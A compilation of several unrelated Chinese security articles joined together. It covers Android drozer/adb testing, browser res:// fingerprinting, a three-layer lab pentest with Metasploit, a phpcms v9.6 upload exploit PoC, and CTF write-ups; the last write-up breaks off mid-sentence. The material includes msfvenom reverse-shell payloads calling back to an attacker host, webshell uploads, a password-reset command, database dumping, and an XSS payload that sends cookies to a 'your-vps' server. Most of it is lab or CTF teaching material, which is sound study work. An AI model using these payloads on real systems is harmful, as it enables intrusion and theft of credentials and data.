具体例子请参考文章：<https://bbs.pediy.com/thread-269255.htm>
## 四、扩展知识点
### adb使用
adb查看连接设备的android日志
//格式1：打印默认日志数据
adb logcat
//格式2：需要打印日志详细时间的简单数据
adb logcat -v time
//格式3：需要打印级别为Error的信息
adb logcat *:E
//格式4：需要打印时间和级别是Error的信息
adb logcat -v time *:E
//格式5：将日志保存到电脑固定的位置，比如D:\log.txt
adb logcat -v time >D:\log.txt
//格式5：日志监听
adb logcat |grep packagename(app包名)
### APP模块说明
模块名 | 作用
---|---
app.activity.forintent | 通过intent查找它的activity
app.activity.info | 获取activities信息
app.activity.start | 开启 Activity
app.broadcast.info | 获取broadcast receivers信息
app.broadcast.send | 发送广播
app.broadcast.sniff | 嗅探广播中intent的数据
app.package.attacksurface | 确定安装包的可攻击面
app.package.backup | 列出可备份的包
app.package.debuggable | 列出可debug的包
app.package.info | 获取已安装包的信息
app.package.launchintent | 获取程序启动的activity信息
app.package.list | 手机已安装的程序包
app.package.manifest | 获取程序manifest文件信息
app.package.native | 列出Native libraries 信息
app.package.shareduid | 查找拥有共同uid的包和他们所有的权限
app.provider.columns | 展示content provider URI的各列
app.provider.delete | 删除content provider URI的内容
app.provider.download | 使用openInputStream读取指定uri的内容，并下载在电脑中
app.provider.info | 获取 content providers信息
app.provider.insert | 插入数据到content provider
app.provider.query | 查询content provider 内容
app.provider.read | 使用openInputStream读取指定uri的内容
app.provider.update | 更新content provider的内容
app.service.info | 获取services的信息
app.service.send | 使用 Message攻击暴露的service，其service实现了handleMessage
app.service.start | 开启服务
app.service.stop | 停止服务
## 五、总结
文章编写断断续续，主要是复现环境弄得比较费劲，内容多为参考网上师傅们的文章，属于前人栽树，后人乘凉了，知识点也是好几年前的知识，一系列学习下来，扩展了
APP 测试的思路，总体上基于 drozer 工具下进行测试，根据每个组件的特性进行单点突破。
## 六、参考
https://blog.yorek.xyz/android/paid/zsxq/week17-android-components/
https://bbs.pediy.com/thread-269211.htm
https://bbs.pediy.com/thread-269255.htm
https://bbs.pediy.com/thread-269309.htm
https://bbs.pediy.com/thread-269447.htm
https://www.cnblogs.com/wjrblogs/p/13953761.html
https://dl.google.com/android/repository/platform-tools_r33.0.3-windows.zip
https://bbs.pediy.com/thread-262208.htm
https://www.cnblogs.com/zhaoyixiang/p/11236458.html | 社区文章 |
# 【技术分享】基于浏览器的指纹识别技术（含缓解方案）
|
##### 译文声明
本文是翻译文章，文章来源：安全客
原文地址：<https://blog.malwarebytes.com/cybercrime/exploits/2016/08/browser-based-fingerprinting-implications-and-mitigations/amp/>
译文仅供参考，具体内容表达以及含义原文为准。
**写在前面的话**
****
恶意软件的开发者们通常都会利用各种各样的工具和技巧来隐藏自己的攻击行为。在这种情况下，指纹识别技术又给这些犯罪分子们提供了一个非常好的“保护伞”。在指纹识别技术的帮助下，网络犯罪分子们不仅可以躲避安全研究专家的检测，而且在进行大规模攻击活动的时候也不容易被觉察到。为了能够让大家更好地理解本篇文章的主人公－指纹识别技术，我们首先用下面这句话来简单描述一下：指纹识别技术利用了现代浏览器中的一个信息泄漏漏洞，该漏洞允许攻击者访问目标用户主机的文件系统，并且还可以从中查找出预定义的字段名称。
**指纹识别技术与黑客能擦出怎样的火花？**
****
想必大家也已经在网络上看到过不少指纹识别技术成功应用的例子了，而且我们还在2016年3月份的[ **安全研究白皮书**
****](https://malwarebytes.app.box.com/v/operation-fingerprint)中介绍了其中的某些案例，虽然这份报告内容较多，但这些内容只是冰山一角。就在不久之前，Proofpoint公司的安全研究专家们发现了一个[
**大规模恶意广告活动**](https://www.proofpoint.com/us/threat-insight/post/massive-adgholas-malvertising-campaigns-use-steganography-and-file-whitelisting-to-hide-in-plain-sight)
，而这一恶意活动已经持续了至少一年的时间。这也就意味着，很可能已经有大量的用户感染了与此次恶意广告活动有关的恶意软件。在指纹识别技术的帮助下，该恶意广告活动可以在不被他人发现的情况下针对正版OEM计算机发动攻击。
图片1:恶意广告活动中所使用的指纹识别技术，指纹识别码隐藏于GIF图片之中
从防御端的角度出发，我们发表这篇文章的目的就是为了帮助大家更好地保护自己。更重要的一点就是，现在的网络攻击技术也在变得越来越复杂了，我们每天所要面对的都是新一轮的安全挑战。如果我们不能尽可能地了解攻击者所用的技术，那么我们怎么可能在这场没有硝烟的战争中取得胜利呢？与此同时，在拥有了一定程度的知识积累后，我们也可以轻易地将某个强大的工具从攻击者的“武器库”名单中除去，这样我们就可以更加快速地检测并识别他们的攻击活动了。当然了，俗话说得好，“道高一尺，魔高一丈”，网络犯罪分子总是能够设计出新的攻击技术来搞破坏。
值得注意的是，我们还需要考虑隐私方面的问题，因为指纹识别技术可以通过目标主机中的程序列表来识别用户信息。我们可以设想这样一种场景：A公司的市场营销人员肯定会非常想知道访问他们网站的客户是否使用了B公司的产品。具体如下图所示：
图片2:直接通过浏览器来检测目标系统中是否安装了诺顿反病毒软件
实际上，虽然图片2所示的功能只用一行代码就可以实现，但正是因为代码量少，所以才显得它是如此的神奇。很多恶意攻击者可能会为了金钱利益来对某一目标用户的网络行为进行非法监视，而此时他们就可以利用这项技术来了解目标主机中是否运行了类似VPN或者加密软件这样的特定软件了。
**
**
**回顾一下那些令人头疼的网络协议**
通过利用IE浏览器协议中的漏洞，攻击者不仅可以在目标主机中运行恶意代码，而且还可以获取目标主机中的数据信息。在这一章节中，我们要回顾一下相关的技术，其中包括目前尚未修复的漏洞，以及漏洞利用工具和恶意广告攻击过程中所利用的漏洞。
**“File:// protocol”协议**
先将我们的视角切换到当年XP操作系统SP2版本刚刚面世的时候，当时XP平台下的本机域（LMZ）可以允许你通过利用其他的协议（file://
protocol）在不受任何限制的情况下运行任意代码。
图片3:该漏洞允许攻击者利用IE6以及IE6之前的浏览器版本来运行任意代码，微软公司目前已经修复了这一漏洞
实际上，“file://
protocol”协议运行在本机域（LMZ）中，该协议拥有完整的主机访问权限，通过下面这段网页代码并实例化一个WScript.Shell，你就可以在目标主机中执行远程代码了。
<iframe src="file://c:/downloads/malicious.html"></iframe>
**“res://”协议（漏洞CVE-2015-2413）**
“res://”协议是IE浏览器的一个内部协议，该协议允许网页直接加载本地文件资源。与此同时，IE浏览器还可以将“res://URLs”这样的资源地址视为特殊的资源引用。
微软公司允许普通的HTTP网页使用“res://URLs”来加载资源，因为IE或Edge浏览器中的部分功能需要使用这份协议。
图片4:检测脚本所创建的图片文件是否加载成功
Iframe中的“res://”变种（此漏洞未修复）
受影响的操作系统：Windows 7和Windows 10
浏览器：Internet Explorer 10、11；Microsoft Edge (38.14393.0.0)；Microsoft EdgeHTML
(14.14393)。
请注意：对Microsoft Edge浏览器而言，指纹识别技术只能在“Windows”和
“Program Files”这两个文件夹下起作用，因为AppContainer不允许程序访问系统的其他部分。
图片5:通过网页来确定主机“system32”文件夹下是否存在calc.exe（计算器）
**
**
**漏洞利用工具是如何使用该技术的？**
****
我们对Neutrino EK过滤器的运行机制进行了研究，具体内容请查看这篇文章：《[Neutrino
EK：Flash中的指纹识别技术](https://blog.malwarebytes.com/cybercrime/exploits/2016/06/neutrino-ek-fingerprinting-in-a-flash/)》
图片6:通过iframe来检测本地文件
**
**
**广大用户们应该怎么做？**
****
在这里，我们给大家提供一个比较好的缓解方案。为了解决目前存在的问题，用户应该只允许IE浏览器去加载类似mshtml.dll和ieframe.dll这样的只有IE浏览器会使用的资源文件，所有调用其他资源文件的操作行为都应该被阻止。
换句话说，我们应该只允许iexplore.exe（以及其他需要使用Web浏览器进行操作的程序）加载Web浏览器引擎真正需要使用的那些资源文件。除了这些文件之外，其余的任何文件都不应该允许加载。在某些IE内部页面／对话框，或者某些旧版本的浏览器工具栏中使用res资源调用协议才是该协议合理的使用方式。除此之外，DevTools开发者工具（F12）同样需要使用这个协议。
图片7:Microsoft Edge浏览器中的资源调用（res://）
某些需要使用“res://”协议的旧版本浏览器工具栏可能会因此而无法正常工作，但是我们可以将其需要使用的DLL文件加入白名单，这样就可以暂时让其正常工作了。至于如何彻底修复这一问题，就交给各位程序员去解决吧。
**
**
**总结**
****
虽然微软公司此前已经表示，这些信息泄漏漏洞已经被修复了。但是就目前的情况来看，这些漏洞似乎并没有彻底被修复。之所以会出现这样的情况，很有可能是由于浏览器内核中存在的问题没有得到根本性的解决，因为一旦对内核进行了大规模改动，那么将有可能引起各种兼容性方面的问题。
**致谢**
****
在这里，我要特别感谢一下Manuel
Caballero（[@magicmac2000](https://twitter.com/magicmac2000)），感谢他一直鼓励我深入去研究这篇文章中所提到的安全问题。除此之外，我还要感谢Eric
Lawrence（[@ericlaw](https://twitter.com/ericlaw)）为这篇文章所提供的帮助和贡献。
**参考资料**
1\. 2016年3月份Malwarebytes发布的安全白皮书《Operation Fingerprint》:
[https://malwarebytes.app.box.com/v/operation-fingerprint](https://malwarebytes.app.box.com/v/operation-fingerprint)
2\. Proofpoint发现的AdGholas恶意广告活动:
[https://www.proofpoint.com/us/threat-insight/post/massive-adgholas-malvertising-campaigns-use-steganography-and-file-whitelisting-to-hide-in-plain-sight](https://www.proofpoint.com/us/threat-insight/post/massive-adgholas-malvertising-campaigns-use-steganography-and-file-whitelisting-to-hide-in-plain-sight)
3\. 微软公司关于“res://”资源协议的介绍：
[https://msdn.microsoft.com/en-us/library/aa767740(v=vs.85).aspx](https://msdn.microsoft.com/en-us/library/aa767740\(v=vs.85\).aspx)
4\. 漏洞CVE-2013-7331的PoC代码：
[http://pastebin.com/raw/Femy8HtG](http://pastebin.com/raw/Femy8HtG))
5\. 《Neutrino EK：Flash中的指纹识别技术》：
[https://blog.malwarebytes.com/cybercrime/exploits/2016/06/neutrino-ek-fingerprinting-in-a-flash/](https://blog.malwarebytes.com/cybercrime/exploits/2016/06/neutrino-ek-fingerprinting-in-a-flash/) | 社区文章 |
# 三层网络靶场搭建&MSF内网渗透
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
在最近的CTF比赛中，综合靶场出现的次数越来越多，这种形式的靶场和真实的内网渗透很像，很贴合实际工作，但我们往往缺少多层网络的练习环境。本文通过VMware搭建3层网络，并通过msf进行内网渗透，涉及代理搭建，流量转发，端口映射等常见内网渗透技术。
## 网络拓扑
## 环境搭建
首先在虚拟机中新建3块网卡，选择仅主机模式
将kali设为第一层网络vmnet1
将第一层靶机设为双网卡vmnet1和vmnet2
将第二层靶机设置为双网卡：vmnet2和vmnet3：
将第三层靶机设为vmnet3：
至此，我们的3层网络环境就已经搭建完毕。
## 第一层靶机
Nmap探测一下，发现8080端口：
访问一下：
返现文件上传点，经测试没有任何过滤，可以直接上传任意文件，因此直接上传jsp一句话后门：
上传后返回文件路径，菜刀连接：
为了进一步做内网渗透，上传msf后门：
1、后门制作：
`msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.59.128 LPORT=6666
SessionCommunicationTimeout=0 SessionExpirationTimeout=0 -f elf >shell.elf`
将shell.elf上传到第一层靶机192.168.59.129
2、MSF设置监听：
3、在第一层靶机运行shell.elf
`Chmod 777 shell.elf`
`./shell.elf`
4、Msf获得meterpreter，执行shell，查看网络配置，发现双网卡，第二层网络段为192.168.80.0/24
## 第二层靶机
首先利用第一层的meterpreter添加到第二层的路由：
`run autoroute -s 192.168.80.0/24`
然后利用msf进行第二层网络存活主机扫描：
`use auxiliary/scanner/discovery/arp_sweep`
发现第二层靶机 192.168.80.129。
接着利用msf搭建socks代理，好让攻击机直接打第二层网络：
`use auxiliary/server/socks4a`
然后在第一层网络配置相关socks4代理客户端：
Proxychain:
在配置文件/etc/proxychains.conf中添加：
socks4 192.168.59.128 9999
然后利用proxychans 启动nmap对第二层靶机进行扫描，这里注意一定要加上-Pn和-sT参数：
`proxychains nmap -Pn -sT 192.168.80.129 -p1-1000`
发现第二层主机开放22和80端口。
在Chrome中配置代理
访问第二层网络：
是一个typecho的 cms，尝试admin/admin等弱口令登陆后台，登陆成功：
个人信息处发现flag：
在设置中允许上传php
然后撰写文章，附件上传php webshell：
可以看到shell路径，用蚁剑连接，因为是第二层网络，所以得通过socks代理客户端去启动蚁剑，我用的是sockscap64：
在代理中配置代理服务器：
用蚁剑连接shell：
在网站根目录处发现flag
查看config.inc.php:
发现数据库口令123：
将数据库dump出来：
`mysqldump -uroot -p123 typecho >/tmp/1.sql`
在1.sql中发现flag：
第二层靶机还开放了22端口，尝试利用msf、hydra探测一下弱口令：
Hydra：
Msf：
`use auxiliary/scanner/ssh/ssh_login`
同样发现弱口令，同时msf可以直接获得一个meterpreter
获得flag:
在sockscap64中打开ssh客户端：
也可以利用root/123456登录，获得flag
同样，为了打进第三层，我们需要在第二层靶机上上传msf后门，
制作后门：
`msfvenom -p linux/x86/meterpreter/bind_tcp LPORT=4321 -f elf > shell1.elf`
利用蚁剑上传，并在第二层靶机运行：
`Chmod 777 ./shell1.elf`
`./shell1.elf`
在msf上配置payload：
获得第二层meterpreter：
发现第三层网段192.168.226.0/24
然后利用这个meterpreter添加到第三层的网络路由：
`run autoroute -s 192.168.226.0/24`
在启用一个socks代理给第三层网络，端口开9998
然后在proxychains的配置文件中加上9998：
扫描一下第三层主机端口：
`proxychains nmap -Pn -sT 192.168.226.129 -p1-1000`
发现开放了80、445端口
## 第三层网络
在chrome 修改代理，端口改为9998
访问第三层网络
查询处存在SQL注入
抓包：
Proxychains 跑sqlmap
`proxychains sqlmap -r test.txt`
得到后台用户密码：admin/faka123
登录：
发现flag。接着在logo上传处发现任意文件上传：
直接上传木马，获得路径：
菜刀连接，网站根目录发现flag
发现网站开启了3389，同时是system权限：
直接修改administrator密码：
`net user administrator 123456`
再把第三层3389流量转发到代理服务器中：
访问远程桌面：
发现flag：
同时，该靶机开放445端口，试试永痕之蓝：
同样可以拿到shell。
至此，我们已经拿下3层网络中的全部机器。 | 社区文章 |
**Author: p0wd3r (知道创宇404安全实验室)**
**Date: 2017-04-12**
## 0x00 漏洞概述
### 漏洞简介
前几天 phpcms v9.6
的任意文件上传的漏洞引起了安全圈热议，通过该漏洞攻击者可以在未授权的情况下任意文件上传，影响不容小觑。phpcms官方今天发布了9.6.1版本，对漏洞进行了补丁修复.
### 漏洞影响
任意文件上传
## 0x01 漏洞复现
本文从 PoC 的角度出发，逆向的还原漏洞过程，若有哪些错误的地方，还望大家多多指教。
首先我们看简化的 PoC ：
import re
import requests
def poc(url):
u = '{}/index.php?m=member&c=index&a=register&siteid=1'.format(url)
data = {
'siteid': '1',
'modelid': '1',
'username': 'test',
'password': 'testxx',
'email': '[email protected]',
'info[content]': '<img src=http://url/shell.txt?.php#.jpg>',
'dosubmit': '1',
}
rep = requests.post(u, data=data)
shell = ''
re_result = re.findall(r'<img src=(.*)>', rep.content)
if len(re_result):
shell = re_result[0]
print shell
可以看到 PoC
是发起注册请求，对应的是`phpcms/modules/member/index.php`中的`register`函数，所以我们在那里下断点，接着使用
PoC 并开启动态调试，在获取一些信息之后，函数走到了如下位置：
通过 PoC 不难看出我们的 payload 在`$_POST['info']`里，而这里对`$_POST['info']`进行了处理，所以我们有必要跟进。
在使用`new_html_special_chars`对`<>`进行编码之后，进入`$member_input->get`函数，该函数位于`caches/caches_model/caches_data/member_input.class.php`中，接下来函数走到如下位置：
由于我们的 payload 是`info[content]`，所以调用的是`editor`函数，同样在这个文件中：
接下来函数执行`$this->attachment->download`函数进行下载，我们继续跟进，在`phpcms/libs/classes/attachment.class.php`中：
function download($field, $value,$watermark = '0',$ext = 'gif|jpg|jpeg|bmp|png', $absurl = '', $basehref = '')
{
global $image_d;
$this->att_db = pc_base::load_model('attachment_model');
$upload_url = pc_base::load_config('system','upload_url');
$this->field = $field;
$dir = date('Y/md/');
$uploadpath = $upload_url.$dir;
$uploaddir = $this->upload_root.$dir;
$string = new_stripslashes($value);
if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i", $string, $matches)) return $value;
$remotefileurls = array();
foreach($matches[3] as $matche)
{
if(strpos($matche, '://') === false) continue;
dir_create($uploaddir);
$remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref);
}
unset($matches, $string);
$remotefileurls = array_unique($remotefileurls);
$oldpath = $newpath = array();
foreach($remotefileurls as $k=>$file) {
if(strpos($file, '://') === false || strpos($file, $upload_url) !== false) continue;
$filename = fileext($file);
$file_name = basename($file);
$filename = $this->getname($filename);
$newfile = $uploaddir.$filename;
$upload_func = $this->upload_func;
if($upload_func($file, $newfile)) {
$oldpath[] = $k;
$GLOBALS['downloadfiles'][] = $newpath[] = $uploadpath.$filename;
@chmod($newfile, 0777);
$fileext = fileext($filename);
if($watermark){
watermark($newfile, $newfile,$this->siteid);
}
$filepath = $dir.$filename;
$downloadedfile = array('filename'=>$filename, 'filepath'=>$filepath, 'filesize'=>filesize($newfile), 'fileext'=>$fileext);
$aid = $this->add($downloadedfile);
$this->downloadedfiles[$aid] = $filepath;
}
}
return str_replace($oldpath, $newpath, $value);
}
函数中先对`$value`中的引号进行了转义，然后使用正则匹配：
$ext = 'gif|jpg|jpeg|bmp|png';
...
$string = new_stripslashes($value);
if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i",$string, $matches)) return $value;
这里正则要求输入满足`src/href=url.(gif|jpg|jpeg|bmp|png)`，我们的 payload （`<img
src=http://url/shell.txt?.php#.jpg>`）符合这一格式（这也就是为什么后面要加`.jpg`的原因）。
接下来程序使用这行代码来去除 url 中的锚点：`$remotefileurls[$matche] = $this->fillurl($matche,
$absurl, $basehref);`，处理过后`$remotefileurls`的内容如下：
可以看到`#.jpg`被删除了，正因如此，下面的`$filename = fileext($file);`取的的后缀变成了`php`，这也就是 PoC
中为什么要加`#`的原因： **把前面为了满足正则而构造的`.jpg`过滤掉，使程序获得我们真正想要的`php`文件后缀。**
我们继续执行：
程序调用`copy`函数，对远程的文件进行了下载，此时我们从命令行中可以看到文件已经写入了：
shell 已经写入，下面我们就来看看如何获取 shell 的路径，程序在下载之后回到了`register`函数中：
可以看到当`$status > 0`时会执行 SQL 语句进行 INSERT 操作，具体执行的语句如下：
也就是向`v9_member_detail`的`content`和`userid`两列插入数据，我们看一下该表的结构：
因为表中并没有`content`列，所以产生报错，从而将插入数据中的 shell 路径返回给了我们：
上面我们说过返回路径是在`$status > 0`时才可以，下面我们来看看什么时候`$status <=
0`，在`phpcms/modules/member/classes/client.class.php`中：
几个小于0的状态码都是因为用户名和邮箱，所以在 payload 中用户名和邮箱要尽量随机。
另外在 phpsso 没有配置好的时候`$status`的值为空，也同样不能得到路径。
在无法得到路径的情况下我们只能爆破了，爆破可以根据文件名生成的方法来爆破：
仅仅是时间加上三位随机数，爆破起来还是相对容易些的。
## 0x02 补丁分析
phpcms 今天发布了9.6.1版本，针对该漏洞的具体补丁如下：
在获取文件扩展名后再对扩展名进行检测
## 0x03 参考
* <https://www.seebug.org/vuldb/ssvid-92930>
* [[漏洞预警]PHPCMSv9前台GetShell (2017/04/09)](https://mp.weixin.qq.com/s?__biz=MzIyNTA1NzAxOA==&mid=2650473914&idx=1&sn=9eb94f27c121709d837c3e4df07cc7f8&pass_ticket=41uQwVrah%2B7ri0tXROEWobgq0%2BWtquBSape7MYFkD8RoRn8cVYczGKQcP%2BtCq2Jp)
* * * | 社区文章 |
上周末打了密歇根大学举办的一个CTF比赛，做了其中的Web题，发现考点比较新颖和有趣，于是写篇完整的探索记录
### Warmup:Burp
一道纯靠burp的题目，这里不再多提 就是抓包然后不断看响应包里面的要求
<p>Found. Redirecting to <a href="/flag?count=1">/flag?count=1</a></p>
访问/flag?count=1
<p>Found. Redirecting to <a href="/?count=7">/?count=7</a></p>
转往?count=7即可获得flag
wsc{c00k1e5_yum!}
### SSRF 101
文件结构
发现public.js里面的路由标识
可以看到这里面关键的点在于$path可控 我们先访问下题目中给的路由
可以看到我们拼接进来的端口1001 继续尝试用这个ssrf位点访问一下private2.js成功获取到flag 但是显而易见这题并不只有这种解法
注意拼接处的代码
const url = `http://localhost:${private1Port}${path}`
const parsedUrl = new URL(url)
我们可以在path里使用一个@ 这样@前面字符串会被当作用户名 之后再进行访问指定端口路由即可
最后payload
@localhost:10011/flag
###
可以看到在这里面访问get路由即可获取到flag 比较有意思的点是private2点端口比我们可控的端口多1 所以我们构造注入1/flag
即可成功访问private2里面的flag路由
<https://wsc-2022-web-1-bvel4oasra-uc.a.run.app/ssrf?path=1/flag>
成功获取到flag 但是显而易见这题并不只有这种解法
注意拼接处的代码
const url = `http://localhost:${private1Port}${path}`
const parsedUrl = new URL(url)
我们可以在path里使用一个@ 这样@前面字符串会被当作用户名 之后再进行访问指定端口路由即可
最后payload
@localhost:10011/flag
### SSRF 301
这道题做了一些基础的防护，但很简单 只是检测我们输入第一个字符不能为数字
当然可以用我刚才提到的第二种解法
但如果你看过orange的ppt就会知道
可以使用%0D%0A换行注入我们的1/flag即可成功拿到flag
最后payload
https://wsc-2022-web-4-bvel4oasra-uc.a.run.app/ssrf?path=%0d%0a1/flag
Get flag wsc{url_synt4x_f0r_th3_w1n_hq32pl}
#### Java???
这道题是我觉得最有趣的一道题
在这里可以看到花括号包裹起来的数据我们可控 可以猜测可能是ssti
但这里用的模板引擎比较新颖 叫chunk-templates
继续往下看渲染点
他把flag用set存储起来了，现在我们需要的就是通过{$flag}给他渲染出来
但注意这里的preventRecursiveTags函数替换掉了 $符号，我们思路就是代替他 直接打断点debug可以看到
parsetag这里除了$ 还可以用~ 所以我们构造个{~flag}来获取到flag
很有趣是吧，但其实这题最有意思的点是可探索性很高，如果你以前接触过 twig模板
你就会发现它最强大的地方是他的过滤器
我们可以用url编码把我们的符号进行编码 然后再构造一个标签
{.{%24flag%7d|urldecode()}
<https://wsc-2022-web-3-bvel4oasra-uc.a.run.app/submit?name=%7B.%7B%2524flag%257d%7Curldecode()%7D>
可以看到能够成功带出flag
正是因为他的构造器多样 我们的思维还可以发散
如果你记得今年RealWorld的 RWDN 你应该想起来我们是如何通过.htaccess来读取任意文件的？
可以通过if语法盲注来匹配 而你只要仔细翻了chunk-templates的文档
你会发现他也刚好有这种语法
import re
import requests as req
from string import ascii_letters, digits, printable
d = 0
if d:
url = 'https://wsc-2022-web-3-bvel4oasra-uc.a.run.app/'
proxies = {
"http" : 'http://127.0.0.1:8080',
"https" : 'https://127.0.0.1:8080'
}
else:
url = 'https://wsc-2022-web-3-bvel4oasra-uc.a.run.app/'
proxies = {}
canary = 'test'
charset = printable[:-6].replace(",", "").replace("/", "")
flag = "wsc"
while not flag.endswith("}"):
for _ in charset:
tmp = flag + _
payload = f'{{% if(flag=~/^{re.escape(tmp)}/) %}}{canary}{{% endif %}}'
if d : print(payload)
res = req.get(url+f'submit?name={req.utils.quote(payload)}', proxies=proxies)
if "test" in res.text:
flag += _
print(flag.replace("\\", ""))
break
通过正则匹配进行盲注 也是获得flag的好方法
### XSS 401
又是一道有趣的题目，不像其他ctf考了很多bypass csp的技巧
因为代码文件单一我直接在这里贴出来
const express = require('express')
const puppeteer = require('puppeteer')
const escape = require('escape-html')
const app = express()
const port = 3000
app.use(express.static(__dirname + '/webapp'))
const visitUrl = async (url, cookieDomain) => {
let browser =
await puppeteer.launch({
headless: true,
pipe: true,
dumpio: true,
ignoreHTTPSErrors: true,
args: [
'--incognito',
'--no-sandbox',
'--disable-gpu',
'--disable-software-rasterizer',
'--disable-dev-shm-usage',
]
})
try {
const ctx = await browser.createIncognitoBrowserContext()
const page = await ctx.newPage()
try {
await page.setCookie({
name: 'flag',
value: process.env.FLAG,
domain: cookieDomain,
httpOnly: false,
samesite: 'strict'
})
await page.goto(url, { timeout: 6000, waitUntil: 'networkidle2' })
} finally {
await page.close()
await ctx.close()
}
}
finally {
browser.close()
}
}
app.get('/visit', async (req, res) => {
const url = req.query.url
console.log('received url: ', url)
let parsedURL
try {
parsedURL = new URL(url)
}
catch (e) {
res.send(escape(e.message))
return
}
if (parsedURL.protocol !== 'http:' && parsedURL.protocol != 'https:') {
res.send('Please provide a URL with the http or https protocol.')
return
}
if (parsedURL.hostname !== req.hostname) {
res.send(`Please provide a URL with a hostname of: ${escape(req.hostname)}, your parsed hostname was: escape(${parsedURL.hostname})`)
return
}
try {
console.log('visiting url: ', url)
await visitUrl(url, req.hostname)
res.send('Our admin bot has visited your URL!')
} catch (e) {
console.log('error visiting: ', url, ', ', e.message)
res.send('Error visiting your URL: ' + escape(e.message))
} finally {
console.log('done visiting url: ', url)
}
})
app.listen(port, async () => {
console.log(`Listening on ${port}`)
})
关键问题点
if (parsedURL.hostname !== req.hostname) {
res.send(`Please provide a URL with a hostname of: ${escape(req.hostname)}, your parsed hostname was: escape(${parsedURL.hostname})`)
return
}
这里 可以看到$parsedURL.hostname是没经过任何处理的
我们可以尝试在这里加一些标签
<https://wsc-2022-web-5-bvel4oasra-uc.a.run.app/visit?url=https://%3Ch1%3Etest%3C/h1%3E>
所以我们就要在这里面想办法插入xss 但是注意hostname的rfc标准
1.不能有空格 2.大小写会被统一转换 3.`? # @ / \`这些字符会破坏Hostname
其实payload有很多 你可以去terjanq的 博客去找 其实关键点在于bypass空格
翻阅了很多资料发现unicode字符可以代替
<svg%0Conload=alert()>
所以构造个这样类似的poc就可以
但是常规的我们的设想我们要通过一些windows.href类似的跳转拼接cookie 类似这样
window.location='https://attacker.com/?'+document.cookie
我一开始想到了一些编码形式比如base64 但是rfc标准大小写会被统一转换
所以我就想找一些类似切片的东西
location.hash.slice(1)
后来我队友发现这个可以取#之后的数据 拿我们再用eval来进行执行 ,在#后拼接，也就是在hostname外拼接我们的跳转payload即可
最后payload:
https://wsc-2022-web-5-bvel4oasra-uc.a.run.app/visit?url=https://<svg%0Conload=eval(location.hash.slice(1))>/#window.location='https://your-vps/?cookie='+document.cookie
最后成功get flag
### OSINT-Where in the world
题目描述
Challenge Description: User Vividpineconepig claims on to live next to a street that's above some train tracks. Where are they? Maybe finding their social media could help. We’ll give you a flag for tracking them down. Give us this elevated STREETNAME preceding the St/Rd/Ave/Lane to prove it.
Format: wsc{STREETNAME}
这种社工题蛮有意思的
Vividpineconepig 是用户的名称。描述告诉我们，我们可能想要找到他们的社交媒体帐户。使用 Sherlock 之类的工具
在ins找到信息
然后就是获得这张图片分析 一开始我想直接使用google map之类的来寻找位置 发现根本没有下手点
这里我自己给自己挖了个坑 得知主办方是密歇根大学 我直接从这里入手，直到一位国外队友告诉我这种高速公路标志右边是蒙大拿州独有的，好吧
然后我们还有右边一个hint mile 280的标记
于是翻google地图 范围很小了
得到镇的名字是 Shelby, MT
通过远处的高架桥和火车轨道的推测
猜测是这个Oilfield街道
wsc{OILFIELD} | 社区文章 |
Code-Breaking Puzzles
传送门：<https://code-breaking.com>
1. function PHP函数利用技巧
2. pcrewaf PHP正则特性
3. phpmagic PHP写文件技巧
4. phplimit PHP代码执行限制绕过
5. nodechr Javascript字符串特性
# **1.easy - function** -
<?php
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';
if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
show_source(__FILE__);
} else {
$action('', $arg);
}
看到$action('',$arg)这里有两个参数，可以想到create_function匿名函数代码注入。那么问题来了，知道怎么执行命令但是正则怎么绕，从这个正则很容易知道只要我们在开头或者结尾加入其他字符就可以绕过了，bp来fuzz一波，发现%5c可以绕过。
为什么在函数前面加一个"\"也能执行呢，这里涉及到了php的全局命名空间，\create_function就是调用全局的create_function函数
看一下手册中的例子就大概知道是什么意思了
既然正则可以绕过了，那么就可以愉快的getflag了
# **2.easy - pcrewaf**
<?php
function is_php($data){
return preg_match('/<\?.*[(`;?>].*/is', $data);
}
if(empty($_FILES)) {
die(show_source(__FILE__));
}
$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
echo "bad request";
} else {
@mkdir($user_dir, 0755);
$path = $user_dir . '/' . random_int(0, 10) . '.php';
move_uploaded_file($_FILES['file']['tmp_name'], $path);
header("Location: $path", true, 303);
} 1
之前看过Ph师傅[这篇文章](https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html
"这篇文章")，所以这题做起来会很轻松。用php中正则的最大回溯次数（pcre.backtrack_limit）使正则失效，从而导致is_php()返回false。
PHP中的正则回溯最大次数是100w次，只要超过这个值，正则匹配就会执行失败
那么解题的思路就很清晰了，只要上传一个超长的字符串的文件，就可以绕过这个正则表达式了。
# **3.easy - phpmagic**
//代码段1：
<?php
if(isset($_GET['read-source'])) {
exit(show_source(__FILE__));
}
define('DATA_DIR', dirname(__FILE__) . '/data/' . md5($_SERVER['REMOTE_ADDR']));
if(!is_dir(DATA_DIR)) {
mkdir(DATA_DIR, 0755, true);
}
chdir(DATA_DIR);
$domain = isset($_POST['domain']) ? $_POST['domain'] : '';
$log_name = isset($_POST['log']) ? $_POST['log'] : date('-Y-m-d');
?>
//代码段2：
<?php if(!empty($_POST) && $domain):
$command = sprintf("dig -t A -q %s", escapeshellarg($domain));
$output = shell_exec($command);
$output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES);
$log_name = $_SERVER['SERVER_NAME'] . $log_name;
if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) {
file_put_contents($log_name, $output);
}
echo $output;
endif; ?>
$domain那里用了escapeshellarg()，命令注入这条走不通。
文件内容我们可控，但是$output被htmlspecialchars转化为html实体，<>被干掉了，直接写shell不行，而且后缀限制得要死。
翻了以前的笔记：php在做路径处理的时候，会递归的删除掉路径中存在的“/.”。[详情看这里](http://wonderkun.cc/index.html/?p=626
"详情看这里")，所以我们只要在后缀后面加上/. pathifo就取不到后缀名了，并且我们可以正常上传一个php文件。
那么后缀限制就可以绕过了，写文件我们可以用伪协议流
